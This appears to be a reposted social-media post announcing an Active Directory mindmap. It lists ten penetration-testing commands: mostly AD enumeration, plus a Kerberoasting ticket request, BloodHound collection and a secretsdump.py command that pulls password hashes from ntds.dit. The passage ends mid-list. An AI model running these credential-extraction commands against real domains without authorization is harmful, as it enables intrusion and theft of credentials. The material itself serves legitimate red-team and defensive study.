New Active Directory Mindmap v202503! 🚀

Listen to this Post

📖 Readable version: https://lnkd.in/e-6SBNM5
🔧 Now fully generated from markdown files—way easier to update and maintain!
💡 Got improvements? PRs welcome! 👉 https://lnkd.in/eP-mb6nA

You Should Know:

Here are some practical commands and codes related to Active Directory (AD) that can help you in penetration testing and red teaming:

1. Enumerate Domain Users:

Get-ADUser -Filter * -Properties SamAccountName,DisplayName,MemberOf

2. Check Domain Trusts:

Get-ADTrust -Filter *

3. List All Domain Controllers:

Get-ADDomainController -Filter *

4. Extract Password Policies:

Get-ADDefaultDomainPasswordPolicy

5. Find Users with SPN (Service Principal Name):

Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName

6. Kerberoasting Attack (Extract TGS Tickets):

GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN>/<USER>

7. BloodHound Enumeration:

bloodhound-python -d <DOMAIN> -u <USER> -p <PASSWORD> -ns <DC_IP> -c All

8. Dump NTDS.dit for Password Hashes:

secretsdump.py -ntds ntds.dit -system SYSTEM <DOMAIN>/<USER>@<DC_IP>

9. Check for Unconstrained Delegation:

Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation

10. Enumerate GPOs (Group Policy Objects):

Get-GPO -All

What Undercode Say:

Active Directory is a critical component in most enterprise environments, and understanding its intricacies is essential for both offensive and defensive cybersecurity professionals. The mindmap provided in the article is an excellent resource for visualizing AD concepts, especially for penetration testers and red teamers.

Here are some additional Linux and Windows commands to enhance your AD knowledge: